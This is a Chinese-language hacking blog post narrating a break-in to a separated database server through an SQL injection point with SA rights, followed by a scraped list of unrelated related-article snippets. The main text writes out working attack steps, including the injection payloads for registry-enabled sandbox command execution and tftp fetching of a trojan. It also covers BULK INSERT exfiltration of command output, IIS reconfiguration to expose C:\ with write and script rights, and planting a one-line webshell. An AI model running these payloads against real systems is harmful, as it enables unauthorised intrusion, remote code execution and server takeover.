记一次巧妙的hacking

记一次巧妙的hacking~
by netpatch 
那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定。
我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~
手工大概的判断了下,的确是个SA注入点。判断过程偶就不写了,精彩的地方当然要留到后面啦
操起NBSI这把大刀就开工了。首先尝试恢复xp_cmdshell和sp_OACreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断,
命令没有成功执行。于是又恢复xp_servicecontrol扩展存储,由于该扩展存储没有回显,偶就随意的ECHO了一个文件到一个指定目录
然后用列目录的功能把那目录列了一遍,但并未发现写入的文件。心想,应该是管理员把那几个常用的hacking扩展存储都给X了吧。
不知道xp_regwrite扩展存储被X了没。于是乎,手工开启了沙盒模式
asp?idx=32;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;-- 
然后尝试用沙盒模式往指定目录ECHO了个文件。
asp?idx=32 and 0<>(select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd /c echo xx 
>c:\xxx\xxx.txt")'))-- 
再用列目录的功能把该目录给列了一遍,发现ECHO命令执行成功!HOHO,还好管理员没把这个扩展存储给X了。
有了可执行命令的扩展存储,就有了一线希望。于是想到直接用tftp UP个马上去。。执行tftp -i ip get muma.exe c:\muma.exe发现一点反映也没有。
猜测可能被管理员限制或DEL了。于是写了一句话的下载VBS,执行后,老半天没发现我们的马儿,难道,难道他不能访问外网?
于是,我又执行了IPCONGFIG命令,并ECHO到np.tmp临时文件。可是我们看不到ECHO的内容,怎么才能得到数据库服务器的IP呢?嘿嘿,想想,他NBSI为什么能回显呢
?我们也可以那样做。
asp?idx=32;CREATE TABLE [NP_ICEHACK](ResultTxt nvarchar(1024) NULL)-- //创建一个放回显内容的表
asp?idx=32 BULK INSERT [NP_ICEHACK] FROM 'np.tmp' WITH (KEEPNULLS);insert into [NP_ICEHACK] values ('g_over');Alter Table [NP_ICEHACK] add id int 
NOT NULL IDENTITY (1,1)-- //以备份的形式把临时文件np.tmp的内容写入NP_ICEHACK表中
然后用NBSI直接把该表跑出来。没过一会,可爱的IP就浮现在我的面前。于是再操起nmap,一阵扫描。不过扫描结果有点意外。就开了个80。
难道数据库没分离?PING下域名其IP和得到的数据库IP是不一样的。不管三七二十一了,先访问再说。。马上打上IP访问。
发现一片空白,奇怪!于是再随意打上个目录,还是空白。傻眼了。这这。。。这端口根据nmap的判断是IIS 5.0啊,难道误报?
突想,试下不就知道了。怎么个试法呢?嘿嘿,我用沙盒模式执行了net stop w3svc命令(停止整个WEB服务)。再访问80一看。YES,访问不到了。连那让人郁闷的空
白页面也消失了。看来有戏,于是我再执行net start w3svc命令(启动整个WEB服务).再访问80一看,No web site is configured at this address.
呀,还有绑定域名,那不是可以做个虚拟目录。于是执行如下命令,查询了几个站点配置(把1依次往上加就可以看别的站点的配置情况)
cmd /c Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs GET W3SVC/1/ServerBindings
查看第一个虚拟web站点的邦定端口。这里的W3SVC/1是IIS:\ LocalHostW3SVC/1的简写,而ServerBindings是他的属性
还是用NBSI列出来,列到3时,发现其绑定了一个域名,于是执行如下命令,添加虚拟目录
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs CREATE w3svc/3/Root/np "IIsWebVirtualDir"
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/root/np/Path "C:\": 
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessRead 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessWrite 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessScript 1 
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/EnableDirBrowsing 1
Cscript.exe c:\Inetpub\AdminScripts\adsutil.vbs SET w3svc/3/Root/np/AccessSource 1
添加后高兴的去访问那域名www.xxx.com/np/结果发现还是www.xxx.com的内容,怀疑没加成功,于是随便访问了一个目录,发现还是www.xxx.com的内容
难道是把所有的都转发到www.xxx.com???于是本地搭平台测试ING。。发现果然如自己所料,被转发了。
绝。。居然这样。。经过一段时间的思考,脑筋一转,心想:你不让我访问这个站,行。。我应承你,我自己建个站去,看你转。哼~
于是立即执行如下命令
cmd /c cscript c:\Inetpub\AdminScripts\mkw3site.vbs -r "c:\" -t "test" -c "LocalHost" -o "80" -h "netpatch.xx.com"
把自己的域名绑定该数据库服务器IP。再访问netpatch.xx.com HOHO,终于可以了。
于是立即ECHO了一句话马上去,结束了这次hacing之旅.
BTW:其实,在此次的hacking中碰到很多问题,也查阅了许多相关资料,搭平台测试了N遍才测试OK的。并没有文章里那么顺利。
难度在于,对方只开了80且把仅有的WEB给转发了,而且又不能访问外网。
____ by NetPatch www.icehack.com & [P.T.U]
如要转载,请保持文章完整。谢谢合作!

(0)

相关推荐

  • 记一次巧妙的hacking

    记一次巧妙的hacking~ by netpatch  那天,正在看资料,朋友丢了个URL过来,说是SA注入点,但数据库和WEB分离的,搞了半天没搞定. 我一听,SA注入点,应该很容易的说,于是就很随意的说,OK,没问题,等会给结果~ 手工大概的判断了下,的确是个SA注入点.判断过程偶就不写了,精彩的地方当然要留到后面啦 操起NBSI这把大刀就开工了.首先尝试恢复xp_cmdshell和sp_OACreate两扩展存储,恢复后用两扩展存储随意执行了一个命令,但是从回显结果来判断, 命令没有成功执

  • laytpl 精致巧妙的JavaScript模板引擎

    laytpl是一款颠覆性的JavaScript模板引擎,它用巧妙的实现方式,将自身的体积变得小巧玲珑,不仅性能接近极致,并且还具备传统前端引擎的几乎所有功能.所有的变身魔法都由不到1KB的代码创造,这仿佛是一场革命,又或者不是,但毋庸置疑的是,laytpl的确在用最轻量的方式呈现给世人.如果你从未接触这方面的应用,没关系,下面的讲述将会让你迫不及待地选择laytpl,从此更好地把握页面的数据渲染,走上人生巅峰! laytpl优势 •性能卓绝,执行速度比号称性能王的artTemplate.doT还

  • AngularJS中run方法的巧妙运用

    前言 AngularJS是google在维护,其在国外已经十分火热,可是国内的使用情况却有不小的差距,参考文献/网络文章也很匮乏.网上关于AngularJS中run方法的介绍也比较少,本文就主要总结了关于AngularJS中run方法的巧妙运用,感兴趣的朋友们可以一起来学习学习. 一.浏览器判断 在angular做微信应用的时候,有时候我们也想把相同一份代码运行在非微信的浏览器上,这时候我们可以在angular的run上写点东西实现~ 例如asw.run函数里执行定义一个$rootScope.i

  • 巧妙解决Oracle NClob读写问题(经验分享)

    最近一个新项目中,尝试在 Oracle 数据库中使用 NCLOB 来保存大的 xml 字符串. 在代码自动生成工具(通过 JDBC 驱动程序,读数据库表结构,自动生成对应的 java 代码,包含增加.删除.修改.分页查询.根据主键查找等前台 html/js.后台代码 java),将 NCLOB 字段映射到 String 类型. 运行代码,无报错.使用 SQuirreL SQL 客户端查看数据,觉察数据未保存成功. 网上搜一通,有提到用 SetBigStringTryClob  的数据库连接额外属

  • js 巧妙去除数组中的重复项

    时不时的看下YUI的源码, 总会有些收获. 一. YUI中的源码' 复制代码 代码如下: var toObject = function(a) { var o = {}; for (var i=0, j=a.length; i<j; i=i+1) { // 这里我调整了下, YUI源码中是i<a.length o[a[i]] = true; } return o; }; var keys = function(o) { var a=[], i; for (i in o) { if (o.has

  • javascript 自动转到命名锚记

    1.自动转到命名记 复制代码 代码如下: <script laguage="javascript"> window.location.hash = "#bottom"; </script> <a name="bottom">底部</a> 2.自动定位到指定高度 复制代码 代码如下: <script laguage="javascript"> <!-- //fun

  • 巧妙的自关联运用

    第一列按照goodsid局部分组,然后在分组后的记录中按照audittime升序排序得到序号,从而显示某商品得第几次变迁. 第二列是取该商品的最后变迁价格newPrice,然后将该值赋到这个商品的其他行中,例如对于goodsid为1的,最后一个newprice为20,那么对于所有goodsid为1的记录curprice都写为20,从而达到外面控件分布的效果. 如下,比较正常的数据记录: 需要增加特殊的两列效果为: 以前的做法是在C#服务端将正常记录取出来(先按照GoodsId和audittime

  • redis的hGetAll函数的性能问题(记Redis那坑人的HGETALL)

    在没关注这个函数之前,一直用的Memcache的数据存储方式,但是自从更换了redis之后,对于一个hash的数据存与取 对于Memcache方便甚多,但是问题来了,一个hash的列表如果量不大的情况,用hGetAll函数几乎看不出问题,一旦这个列表超过50或者更多时,此时用hGetAll函数便能很直观的看到性能问题,这里就不作数据分析了. Redis是单线程的!当它处理一个请求时其他的请求只能等着.通常请求都会很快处理完,但是当我们使用HGETALL的时候,必须遍历每个字段来获取数据,这期间消

  • SQL查询连续号码段的巧妙解法

    在ITPUB上有一则非常巧妙的SQL技巧,学习一下,记录在这里. 最初的问题是这样的: 我有一个表结构, fphm,kshm 2014,00000001 2014,00000002 2014,00000003 2014,00000004 2014,00000005 2014,00000007 2014,00000008 2014,00000009 2013,00000120 2013,00000121 2013,00000122 2013,00000124 2013,00000125  (第二个

  • Oracle删除数据报ORA 02292错误的巧妙解决方法

    废话不多说了,直接给大家贴上完美的解决方法,具体代码如下所示: --查询表TP_MENU有哪些约束 select * from user_constraints u where u.constraint_name like '%TB_ROLE%'; --失效约束 alter table TP_MENU disable constraint FK_TP_MENU_REFERENCE_TP_MENU cascade; alter table TB_ROLE_REF_MENU disable cons

随机推荐